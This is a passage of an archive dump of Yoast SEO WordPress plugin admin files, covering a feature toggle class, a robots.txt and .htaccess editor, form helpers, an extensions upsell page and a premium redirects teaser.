* @var string
*/
protected $extra = '';
/**
* Additional content to be rendered after the toggle.
*
* @var string
*/
protected $after = '';
/**
* Value to specify the feature toggle order.
*
* @var string
*/
protected $order = 100;
/**
* Disable the integration toggle.
*
* @var bool
*/
protected $disabled = false;
/**
* Whether the feature is new or not.
*
* @var bool
*/
protected $new = false;
/**
* Constructor.
*
* Sets the feature toggle arguments.
*
* @param array $args {
* Feature toggle arguments.
*
* @type string $name Required. Feature toggle identifier.
* @type string $setting Required. Name of the setting the feature toggle is associated with.
* @type string $disabled Whether the feature is premium or not.
* @type string $label Feature toggle label.
* @type string $read_more_url URL to learn more about the feature. Default empty string.
* @type string $premium_upsell_url URL to buy premium. Default empty string.
* @type string $read_more_label Label for the learn more link. Default empty string.
* @type string $extra Additional help content for the feature. Default empty string.
* @type int $order Value to specify the feature toggle order. A lower value indicates
* a higher priority. Default 100.
* @type bool $disabled Disable the integration toggle. Default false.
* @type string $new Whether the feature is new or not.
* @type bool $in_beta Whether the feature is in beta or not.
* @type array $supported_languages The languages that this feature supports.
* @type string $premium_version The Premium version in which this feature was added.
* }
*
* @throws InvalidArgumentException Thrown when a required argument is missing.
*/
public function __construct( array $args ) {
$required_keys = [ 'name', 'setting' ];
foreach ( $required_keys as $key ) {
if ( empty( $args[ $key ] ) ) {
/* translators: %s: argument name */
throw new InvalidArgumentException( sprintf( __( '%s is a required feature toggle argument.', 'wordpress-seo' ), $key ) );
}
}
foreach ( $args as $key => $value ) {
if ( property_exists( $this, $key ) ) {
$this->$key = $value;
}
}
}
/**
* Magic isset-er.
*
* @param string $key Key to check whether a value for it is set.
*
* @return bool True if set, false otherwise.
*/
public function __isset( $key ) {
return isset( $this->$key );
}
/**
* Magic getter.
*
* @param string $key Key to get the value for.
*
* @return mixed Value for the key, or null if not set.
*/
public function __get( $key ) {
if ( isset( $this->$key ) ) {
return $this->$key;
}
return null;
}
/**
* Checks whether the feature for this toggle is enabled.
*
* @return bool True if the feature is enabled, false otherwise.
*/
public function is_enabled() {
return (bool) WPSEO_Options::get( $this->setting );
}
}
tool-file-editor.php 0000666 00000015356 15112332326 0010447 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$yform = Yoast_Form::get_instance();
$home_path = get_home_path();
if ( ! is_writable( $home_path ) && ! empty( $_SERVER['DOCUMENT_ROOT'] ) ) {
$home_path = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR;
}
$robots_file = $home_path . 'robots.txt';
$ht_access_file = $home_path . '.htaccess';
if ( isset( $_POST['create_robots'] ) ) {
if ( ! current_user_can( 'edit_files' ) ) {
$die_msg = sprintf(
/* translators: %s expands to robots.txt. */
__( 'You cannot create a %s file.', 'wordpress-seo' ),
'robots.txt'
);
die( esc_html( $die_msg ) );
}
check_admin_referer( 'wpseo_create_robots' );
ob_start();
error_reporting( 0 );
do_robots();
$robots_content = ob_get_clean();
$f = fopen( $robots_file, 'x' );
fwrite( $f, $robots_content );
}
if ( isset( $_POST['submitrobots'] ) ) {
if ( ! current_user_can( 'edit_files' ) ) {
$die_msg = sprintf(
/* translators: %s expands to robots.txt. */
__( 'You cannot edit the %s file.', 'wordpress-seo' ),
'robots.txt'
);
die( esc_html( $die_msg ) );
}
check_admin_referer( 'wpseo-robotstxt' );
if ( isset( $_POST['robotsnew'] ) && file_exists( $robots_file ) ) {
$robotsnew = sanitize_textarea_field( wp_unslash( $_POST['robotsnew'] ) );
if ( is_writable( $robots_file ) ) {
$f = fopen( $robots_file, 'w+' );
fwrite( $f, $robotsnew );
fclose( $f );
$msg = sprintf(
/* translators: %s expands to robots.txt. */
__( 'Updated %s', 'wordpress-seo' ),
'robots.txt'
);
}
}
}
if ( isset( $_POST['submithtaccess'] ) ) {
if ( ! current_user_can( 'edit_files' ) ) {
$die_msg = sprintf(
/* translators: %s expands to ".htaccess". */
__( 'You cannot edit the %s file.', 'wordpress-seo' ),
'.htaccess'
);
die( esc_html( $die_msg ) );
}
check_admin_referer( 'wpseo-htaccess' );
if ( isset( $_POST['htaccessnew'] ) && file_exists( $ht_access_file ) ) {
$ht_access_new = wp_unslash( $_POST['htaccessnew'] );
if ( is_writable( $ht_access_file ) ) {
$f = fopen( $ht_access_file, 'w+' );
fwrite( $f, $ht_access_new );
fclose( $f );
}
}
}
if ( is_multisite() ) {
$action_url = network_admin_url( 'admin.php?page=wpseo_files' );
$yform->admin_header( false, 'wpseo_ms' );
}
else {
$action_url = admin_url( 'admin.php?page=wpseo_tools&tool=file-editor' );
}
if ( isset( $msg ) && ! empty( $msg ) ) {
echo '<div id="message" class="notice notice-success"><p>', esc_html( $msg ), '</p></div>';
}
// N.B.: "robots.txt" is a fixed file name and should not be translatable.
echo '<h2>robots.txt</h2>';
if ( ! file_exists( $robots_file ) ) {
if ( is_writable( $home_path ) ) {
echo '<form action="', esc_url( $action_url ), '" method="post" id="robotstxtcreateform">';
wp_nonce_field( 'wpseo_create_robots', '_wpnonce', true, true );
echo '<p>';
printf(
/* translators: %s expands to robots.txt. */
esc_html__( 'You don\'t have a %s file, create one here:', 'wordpress-seo' ),
'robots.txt'
);
echo '</p>';
printf(
'<input type="submit" class="button" name="create_robots" value="%s">',
sprintf(
/* translators: %s expands to robots.txt. */
esc_attr__( 'Create %s file', 'wordpress-seo' ),
'robots.txt'
)
);
echo '</form>';
}
else {
echo '<p>';
printf(
/* translators: %s expands to robots.txt. */
esc_html__( 'If you had a %s file and it was editable, you could edit it from here.', 'wordpress-seo' ),
'robots.txt'
);
echo '</p>';
}
}
else {
$f = fopen( $robots_file, 'r' );
$content = '';
if ( filesize( $robots_file ) > 0 ) {
$content = fread( $f, filesize( $robots_file ) );
}
if ( ! is_writable( $robots_file ) ) {
echo '<p><em>';
printf(
/* translators: %s expands to robots.txt. */
esc_html__( 'If your %s were writable, you could edit it from here.', 'wordpress-seo' ),
'robots.txt'
);
echo '</em></p>';
echo '<textarea class="large-text code" disabled="disabled" rows="15" name="robotsnew">', esc_textarea( $content ), '</textarea><br/>';
}
else {
echo '<form action="', esc_url( $action_url ), '" method="post" id="robotstxtform">';
wp_nonce_field( 'wpseo-robotstxt', '_wpnonce', true, true );
echo '<label for="robotsnew" class="yoast-inline-label">';
printf(
/* translators: %s expands to robots.txt. */
esc_html__( 'Edit the content of your %s:', 'wordpress-seo' ),
'robots.txt'
);
echo '</label>';
echo '<textarea class="large-text code" rows="15" name="robotsnew" id="robotsnew">', esc_textarea( $content ), '</textarea><br/>';
printf(
'<div class="submit"><input class="button" type="submit" name="submitrobots" value="%s" /></div>',
sprintf(
/* translators: %s expands to robots.txt. */
esc_attr__( 'Save changes to %s', 'wordpress-seo' ),
'robots.txt'
)
);
echo '</form>';
}
}
if ( ! WPSEO_Utils::is_nginx() ) {
echo '<h2>';
printf(
/* translators: %s expands to ".htaccess". */
esc_html__( '%s file', 'wordpress-seo' ),
'.htaccess'
);
echo '</h2>';
if ( file_exists( $ht_access_file ) ) {
$f = fopen( $ht_access_file, 'r' );
$contentht = '';
if ( filesize( $ht_access_file ) > 0 ) {
$contentht = fread( $f, filesize( $ht_access_file ) );
}
if ( ! is_writable( $ht_access_file ) ) {
echo '<p><em>';
printf(
/* translators: %s expands to ".htaccess". */
esc_html__( 'If your %s were writable, you could edit it from here.', 'wordpress-seo' ),
'.htaccess'
);
echo '</em></p>';
echo '<textarea class="large-text code" disabled="disabled" rows="15" name="robotsnew">', esc_textarea( $contentht ), '</textarea><br/>';
}
else {
echo '<form action="', esc_url( $action_url ), '" method="post" id="htaccessform">';
wp_nonce_field( 'wpseo-htaccess', '_wpnonce', true, true );
echo '<label for="htaccessnew" class="yoast-inline-label">';
printf(
/* translators: %s expands to ".htaccess". */
esc_html__( 'Edit the content of your %s:', 'wordpress-seo' ),
'.htaccess'
);
echo '</label>';
echo '<textarea class="large-text code" rows="15" name="htaccessnew" id="htaccessnew">', esc_textarea( $contentht ), '</textarea><br/>';
printf(
'<div class="submit"><input class="button" type="submit" name="submithtaccess" value="%s" /></div>',
sprintf(
/* translators: %s expands to ".htaccess". */
esc_attr__( 'Save changes to %s', 'wordpress-seo' ),
'.htaccess'
)
);
echo '</form>';
}
}
else {
echo '<p>';
printf(
/* translators: %s expands to ".htaccess". */
esc_html__( 'If you had a %s file and it was editable, you could edit it from here.', 'wordpress-seo' ),
'.htaccess'
);
echo '</p>';
}
}
if ( is_multisite() ) {
$yform->admin_footer( false );
}
interface-yoast-form-element.php 0000666 00000000373 15112332326 0012747 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
/**
* Generate the HTML for a form element.
*/
interface Yoast_Form_Element {
/**
* Return the HTML for the form element.
*
* @return string
*/
public function get_html();
}
js-templates-primary-term.php 0000666 00000002517 15112332326 0012322 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
?>
<script type="text/html" id="tmpl-primary-term-ui">
<?php
/* translators: accessibility text. %1$s expands to the term title, %2$s to the taxonomy title. */
$yoast_free_js_button_label = __( 'Make %1$s primary %2$s', 'wordpress-seo' );
$yoast_free_js_button_label = sprintf(
$yoast_free_js_button_label,
'{{data.term}}',
'{{data.taxonomy.title}}'
);
printf(
'<button type="button" class="wpseo-make-primary-term" aria-label="%1$s">%2$s</button>',
esc_attr( $yoast_free_js_button_label ),
esc_html__( 'Make primary', 'wordpress-seo' )
);
?>
<span class="wpseo-is-primary-term" aria-hidden="true"><?php esc_html_e( 'Primary', 'wordpress-seo' ); ?></span>
</script>
<script type="text/html" id="tmpl-primary-term-screen-reader">
<?php
/* translators: %s is the taxonomy title. This will be shown to screenreaders */
$yoast_free_js_taxonomy_title = __( 'Primary %s', 'wordpress-seo' );
$yoast_free_js_taxonomy_title = sprintf(
'(' . $yoast_free_js_taxonomy_title . ')',
'{{data.taxonomy.title}}'
);
?>
<span class="screen-reader-text wpseo-primary-category-label"><?php echo esc_html( $yoast_free_js_taxonomy_title ); ?></span>
</script>
class-yoast-input-select.php 0000666 00000005546 15112332326 0012145 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
/**
* Class for generating a html select.
*/
class Yoast_Input_Select {
/**
* The id attribute value.
*
* @var string
*/
private $select_id;
/**
* The name attribute value.
*
* @var string
*/
private $select_name;
/**
* Additional select attributes.
*
* @var array
*/
private $select_attributes = [];
/**
* Array with the options to parse.
*
* @var array
*/
private $select_options;
/**
* The current selected option.
*
* @var string
*/
private $selected_option;
/**
* Constructor.
*
* @param string $select_id ID for the select.
* @param string $select_name Name for the select.
* @param array $select_options Array with the options to parse.
* @param string $selected_option The current selected option.
*/
public function __construct( $select_id, $select_name, array $select_options, $selected_option ) {
$this->select_id = $select_id;
$this->select_name = $select_name;
$this->select_options = $select_options;
$this->selected_option = $selected_option;
}
/**
* Print the rendered view.
*/
public function output_html() {
// Extract it, because we want each value accessible via a variable instead of accessing it as an array.
extract( $this->get_select_values() );
require WPSEO_PATH . 'admin/views/form/select.php';
}
/**
* Return the rendered view.
*
* @return string
*/
public function get_html() {
ob_start();
$this->output_html();
$rendered_output = ob_get_contents();
ob_end_clean();
return $rendered_output;
}
/**
* Add an attribute to the attributes property.
*
* @param string $attribute The name of the attribute to add.
* @param string $value The value of the attribute.
*/
public function add_attribute( $attribute, $value ) {
$this->select_attributes[ $attribute ] = $value;
}
/**
* Return the set fields for the select.
*
* @return array
*/
private function get_select_values() {
return [
'id' => $this->select_id,
'name' => $this->select_name,
'attributes' => $this->get_attributes(),
'options' => $this->select_options,
'selected' => $this->selected_option,
];
}
/**
* Return the attribute string, when there are attributes set.
*
* @return string
*/
private function get_attributes() {
$attributes = $this->select_attributes;
if ( ! empty( $attributes ) ) {
array_walk( $attributes, [ $this, 'parse_attribute' ] );
return implode( ' ', $attributes ) . ' ';
}
return '';
}
/**
* Get an attribute from the attributes.
*
* @param string $value The value of the attribute.
* @param string $attribute The attribute to look for.
*/
private function parse_attribute( &$value, $attribute ) {
$value = sprintf( '%s="%s"', sanitize_key( $attribute ), esc_attr( $value ) );
}
}
licenses.php 0000666 00000036442 15112332326 0007075 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
* @since 5.1
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
do_action( 'wpseo_install_and_activate_addons' );
$premium_extension = [
'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zz' ),
'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zy' ),
'title' => 'Yoast SEO Premium',
/* translators: %1$s expands to Yoast SEO */
'desc' => sprintf( __( 'The premium version of %1$s with more features & support.', 'wordpress-seo' ), 'Yoast SEO' ),
'benefits' => [],
];
$extensions = [
WPSEO_Addon_Manager::LOCAL_SLUG => [
'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zt' ),
'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zs' ),
'title' => 'Local SEO',
'display_title' => __( 'Stop losing customers to other local businesses', 'wordpress-seo' ),
'desc' => __( 'Rank better locally and in Google Maps, without breaking a sweat!', 'wordpress-seo' ),
'image' => plugins_url( 'images/local_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
'benefits' => [
__( 'Get better search results in local search', 'wordpress-seo' ),
__( 'Easily insert Google Maps, a store locator, opening hours and more', 'wordpress-seo' ),
/* translators: %1$s expands to WooCommerce */
sprintf( __( 'Allow customers to pick up their %s order locally', 'wordpress-seo' ), 'WooCommerce' ),
],
],
WPSEO_Addon_Manager::VIDEO_SLUG => [
'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zx/' ),
'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zw/' ),
'title' => 'Video SEO',
'display_title' => __( 'Start ranking better for your videos', 'wordpress-seo' ),
'desc' => __( 'Optimize your videos to show them off in search results and get more clicks!', 'wordpress-seo' ),
'image' => plugins_url( 'images/video_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
'benefits' => [
__( 'Show your videos in Google Videos', 'wordpress-seo' ),
__( 'Enhance the experience of sharing posts with videos', 'wordpress-seo' ),
__( 'Make videos responsive through enabling fitvids.js', 'wordpress-seo' ),
],
],
WPSEO_Addon_Manager::NEWS_SLUG => [
'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zv/' ),
'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zu/' ),
'title' => 'News SEO',
'display_title' => __( 'Everything you need for Google News', 'wordpress-seo' ),
'desc' => __( 'Are you in Google News? Increase your traffic from Google News by optimizing for it!', 'wordpress-seo' ),
'image' => plugins_url( 'images/news_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
'benefits' => [
__( 'Optimize your site for Google News', 'wordpress-seo' ),
__( 'Immediately pings Google on the publication of a new post', 'wordpress-seo' ),
__( 'Creates XML News Sitemaps', 'wordpress-seo' ),
],
],
];
// Add Yoast WooCommerce SEO when WooCommerce is active.
if ( YoastSEO()->helpers->woocommerce->is_active() ) {
$extensions[ WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ] = [
'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zr' ),
'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zq' ),
'title' => 'Yoast WooCommerce SEO',
'display_title' => __( 'Make your products stand out in Google', 'wordpress-seo' ),
/* translators: %1$s expands to Yoast SEO */
'desc' => sprintf( __( 'Seamlessly integrate WooCommerce with %1$s and get extra features!', 'wordpress-seo' ), 'Yoast SEO' ),
'image' => plugins_url( 'images/woo_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
'benefits' => [
sprintf( __( 'Improve sharing on Facebook and Pinterest', 'wordpress-seo' ) ),
/* translators: %1$s expands to Yoast, %2$s expands to WooCommerce */
sprintf( __( 'Use %1$s breadcrumbs instead of %2$s ones', 'wordpress-seo' ), 'Yoast', 'WooCommerce' ),
/* translators: %1$s expands to Yoast SEO, %2$s expands to WooCommerce */
sprintf( __( 'A seamless integration between %1$s and %2$s', 'wordpress-seo' ), 'Yoast SEO', 'WooCommerce' ),
],
'buy_button' => 'WooCommerce SEO',
];
}
$addon_manager = new WPSEO_Addon_Manager();
$has_valid_premium_subscription = YoastSEO()->helpers->product->is_premium() && $addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
/* translators: %1$s expands to Yoast SEO. */
$wpseo_extensions_header = sprintf( __( '%1$s Extensions', 'wordpress-seo' ), 'Yoast SEO' );
$new_tab_message = sprintf(
'<span class="screen-reader-text">%1$s</span>',
esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' )
);
?>
<div class="wrap yoast wpseo_table_page">
<h1 id="wpseo-title" class="yoast-h1"><?php echo esc_html( $wpseo_extensions_header ); ?></h1>
<div id="extensions">
<section class="yoast-seo-premium-extension">
<h2>
<?php
printf(
/* translators: 1: expands to Yoast SEO Premium */
esc_html__( '%1$s, take your optimization to the next level!', 'wordpress-seo' ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
'<span class="yoast-heading-highlight">' . $premium_extension['title'] . '</span>'
);
?>
</h2>
<?php
if ( ! $has_valid_premium_subscription ) :
?>
<ul class="yoast-seo-premium-benefits yoast-list--usp">
<li class="yoast-seo-premium-benefits__item">
<span class="yoast-seo-premium-benefits__title"><?php esc_html_e( 'Redirect manager', 'wordpress-seo' ); ?></span>
<span class="yoast-seo-premium-benefits__description"><?php esc_html_e( 'create and manage redirects from within your WordPress install.', 'wordpress-seo' ); ?></span>
</li>
<li class="yoast-seo-premium-benefits__item">
<span class="yoast-seo-premium-benefits__title"><?php esc_html_e( 'Synonyms & related keyphrases', 'wordpress-seo' ); ?></span>
<span class="yoast-seo-premium-benefits__description"><?php esc_html_e( 'optimize a single post for synonyms and related keyphrases.', 'wordpress-seo' ); ?></span>
</li>
<li class="yoast-seo-premium-benefits__item">
<span class="yoast-seo-premium-benefits__title"><?php esc_html_e( 'Social previews', 'wordpress-seo' ); ?></span>
<span class="yoast-seo-premium-benefits__description"><?php esc_html_e( 'check what your Facebook or Twitter post will look like.', 'wordpress-seo' ); ?></span>
</li>
<li class="yoast-seo-premium-benefits__item">
<span class="yoast-seo-premium-benefits__title"><?php esc_html_e( 'Premium support', 'wordpress-seo' ); ?></span>
<span class="yoast-seo-premium-benefits__description"><?php esc_html_e( 'gain access to our 24/7 support team.', 'wordpress-seo' ); ?></span>
</li>
</ul>
<?php endif; ?>
<?php if ( $addon_manager->is_installed( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) : ?>
<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-installed"><?php esc_html_e( 'Installed', 'wordpress-seo' ); ?></div>
<?php if ( $has_valid_premium_subscription ) : ?>
<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-activated"><?php esc_html_e( 'Activated', 'wordpress-seo' ); ?></div>
<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13k' ); ?>"
class="yoast-link--license">
<?php
printf(
/* translators: %s expands to the extension title */
esc_html__( 'Manage your %s subscription on MyYoast', 'wordpress-seo' ),
esc_html( $premium_extension['title'] )
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
?>
</a>
<?php else : ?>
<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-not-activated"><?php esc_html_e( 'Not activated', 'wordpress-seo' ); ?></div>
<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13i' ); ?>"
class="yoast-link--license">
<?php
printf(
/* translators: %s expands to the extension title */
esc_html__( 'Activate %s for your site on MyYoast', 'wordpress-seo' ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
esc_html( $premium_extension['title'] )
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
?>
</a>
<?php endif; ?>
<?php else : ?>
<a target="_blank" href="<?php echo esc_url( $premium_extension['buyUrl'] ); ?>"
class="yoast-button-upsell">
<?php
printf(
/* translators: $s expands to Yoast SEO Premium */
esc_html__( 'Buy %s', 'wordpress-seo' ),
esc_html( $premium_extension['title'] )
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
echo '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>';
?>
</a>
<a target="_blank" href="<?php echo esc_url( $premium_extension['infoUrl'] ); ?>"
class="yoast-link--more-info">
<?php
printf(
/* translators: Text between 1: and 2: will only be shown to screen readers. 3: expands to the product name. */
esc_html__( 'More information %1$sabout %3$s%2$s', 'wordpress-seo' ),
'<span class="screen-reader-text">',
'</span>',
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
$premium_extension['title']
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
?>
</a>
<?php endif; ?>
<?php if ( ! $has_valid_premium_subscription ) { ?>
<p>
<small class="yoast-money-back-guarantee"><?php esc_html_e( 'Comes with our 30-day no questions asked money back guarantee', 'wordpress-seo' ); ?></small>
</p>
<?php } ?>
</section>
<hr class="yoast-hr" aria-hidden="true"/>
<section class="yoast-promo-extensions">
<h2>
<?php
/* translators: 1: expands to Yoast SEO */
$yoast_seo_extensions = sprintf( esc_html__( '%1$s extensions', 'wordpress-seo' ), 'Yoast SEO' );
$yoast_seo_extensions = '<span class="yoast-heading-highlight">' . $yoast_seo_extensions . '</span>';
printf(
/* translators: 1: expands to Yoast SEO extensions */
esc_html__( '%1$s to optimize your site even further', 'wordpress-seo' ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $yoast_seo_extensions is properly escaped.
$yoast_seo_extensions
);
?>
</h2>
<?php foreach ( $extensions as $slug => $extension ) : ?>
<section class="yoast-promoblock secondary yoast-promo-extension">
<h3>
<img alt="" width="100" height="100" src="<?php echo esc_url( $extension['image'] ); ?>"/>
<?php echo esc_html( $extension['display_title'] ); ?>
</h3>
<ul class="yoast-list--usp">
<?php foreach ( $extension['benefits'] as $benefit ) : ?>
<li><?php echo esc_html( $benefit ); ?></li>
<?php endforeach; ?>
</ul>
<div class="yoast-button-container">
<?php if ( $addon_manager->is_installed( $slug ) ) : ?>
<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-installed"><?php esc_html_e( 'Installed', 'wordpress-seo' ); ?></div>
<?php if ( $addon_manager->has_valid_subscription( $slug ) ) : ?>
<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-activated"><?php esc_html_e( 'Activated', 'wordpress-seo' ); ?></div>
<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13k' ); ?>"
class="yoast-link--license">
<?php
printf(
/* translators: %s expands to the extension title */
esc_html__( 'Manage your %s subscription on MyYoast', 'wordpress-seo' ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
$extension['title']
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
?>
</a>
<?php else : ?>
<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-not-activated"><?php esc_html_e( 'Not activated', 'wordpress-seo' ); ?></div>
<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13i' ); ?>"
class="yoast-link--license">
<?php
printf(
/* translators: %s expands to the extension title */
esc_html__( 'Activate %s for your site on MyYoast', 'wordpress-seo' ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
$extension['title']
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
?>
</a>
<?php endif; ?>
<?php else : ?>
<a target="_blank" class="yoast-button-upsell"
href="<?php echo esc_url( $extension['buyUrl'] ); ?>">
<?php
printf(
/* translators: %s expands to the product name */
esc_html__( 'Buy %s', 'wordpress-seo' ),
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The possible `get_buy_button` values are hardcoded (buy_button or title); only passed through the WPSEO_Extensions class.
( isset( $extension['buy_button'] ) ) ? $extension['buy_button'] : $extension['title']
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
echo '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>';
?>
</a>
<a target="_blank" class="yoast-link--more-info"
href="<?php echo esc_url( $extension['infoUrl'] ); ?>">
<?php
printf(
/* translators: Text between 1: and 2: will only be shown to screen readers. 3: expands to the product name. */
esc_html__( 'More information %1$sabout %3$s%2$s', 'wordpress-seo' ),
'<span class="screen-reader-text">',
'</span>',
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
$extension['title']
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
echo $new_tab_message;
?>
</a>
<?php endif; ?>
</div>
</section>
<?php endforeach; ?>
</section>
</div>
</div>
redirects.php 0000666 00000020600 15112332326 0007241 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
* @since 19.0
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
?>
<div class="wrap yoast wpseo-admin-page page-wpseo_redirects">
<h1 id="wpseo-title"><?php echo \esc_html( \get_admin_page_title() ); ?></h1>
<div class="wpseo_content_wrapper" style="position: relative;">
<div style="position: absolute;top: 0;bottom: 0;left: 0;right: 0;z-index: 100; display: flex;justify-content: center;align-items: center;background: radial-gradient(#ffffffcf 20%, #ffffff00 50%);">
<a class="yoast-button-upsell" href="<?php echo \esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/4e0/' ) ); ?>" target="_blank">
<?php
echo \esc_html__( 'Unlock with Premium', 'wordpress-seo' )
// phpcs:ignore WordPress.Security.EscapeOutput -- Already escapes correctly.
. WPSEO_Admin_Utils::get_new_tab_message();
?>
<span aria-hidden="true" class="yoast-button-upsell__caret"></span></a>
</div>
<div class="wpseo_content_cell" id="wpseo_content_top" style="opacity: 0.5;">
<h2 class="nav-tab-wrapper" id="wpseo-tabs">
<a class="nav-tab nav-tab-active" id="tab-url-tab" href="#" tabindex="-1">
<?php
\esc_html_e( 'Redirects', 'wordpress-seo' )
?>
</a>
<a class="nav-tab" id="tab-url-tab" href="" tabindex="-1">
<?php
\esc_html_e( 'Regex Redirects', 'wordpress-seo' )
?>
</a>
<a class="nav-tab" id="tab-url-tab" href="#" tabindex="-1">
<?php
\esc_html_e( 'Settings', 'wordpress-seo' )
?>
</a>
</h2>
<div id="table-plain" class="tab-url redirect-table-tab">
<h2>
<?php
\esc_html_e( 'Plain redirects', 'wordpress-seo' )
?>
</h2>
<form class="wpseo-new-redirect-form" method="post">
<div class="wpseo_redirect_form">
<div class="redirect_form_row" id="row-wpseo_redirects_type">
<label class="textinput" for="wpseo_redirects_type">
<span class="title">
<?php
\esc_html_e( 'Type', 'wordpress-seo' )
?>
</span>
</label>
<select name="wpseo_redirects_type" id="wpseo_redirects_type" class="select select2-hidden-accessible" data-select2-id="wpseo_redirects_type" tabindex="-1" aria-hidden="true">
<option value="301" data-select2-id="2">
<?php
\esc_html_e( '301 Moved Permanently', 'wordpress-seo' )
?>
</option>
</select>
<span class="select2 select2-container select2-container--default" dir="ltr" data-select2-id="1" style="width: 400px;">
<span class="selection">
<span class="select2-selection select2-selection--single" role="combobox" aria-haspopup="true" aria-expanded="false" tabindex="-1" aria-disabled="false" aria-labelledby="select2-wpseo_redirects_type-container">
<span class="select2-selection__rendered" id="select2-wpseo_redirects_type-container" role="textbox" aria-readonly="true" title="301 Moved Permanently">
<?php
\esc_html_e( '301 Moved Permanently', 'wordpress-seo' )
?>
</span>
<span class="select2-selection__arrow" role="presentation">
<b role="presentation"></b>
</span>
</span>
</span>
<span class="dropdown-wrapper" aria-hidden="true"></span>
</span>
</div>
<p class="label desc description wpseo-redirect-clear">
<?php
printf(
/* translators: 1: opens a link. 2: closes the link. */
esc_html__( 'The redirect type is the HTTP response code sent to the browser telling the browser what type of redirect is served. %1$sLearn more about redirect types%2$s.', 'wordpress-seo' ),
'<a href="#" target="_blank">',
'</a>'
);
?>
<div class="redirect_form_row" id="row-wpseo_redirects_origin">
<label class="textinput" for="wpseo_redirects_origin">
<span class="title">
<?php
\esc_html_e( 'Old URL', 'wordpress-seo' )
?>
</span>
</label>
<input type="text" class="textinput" name="wpseo_redirects_origin" id="wpseo_redirects_origin" value="" tabindex="-1">
</div>
<br class="clear">
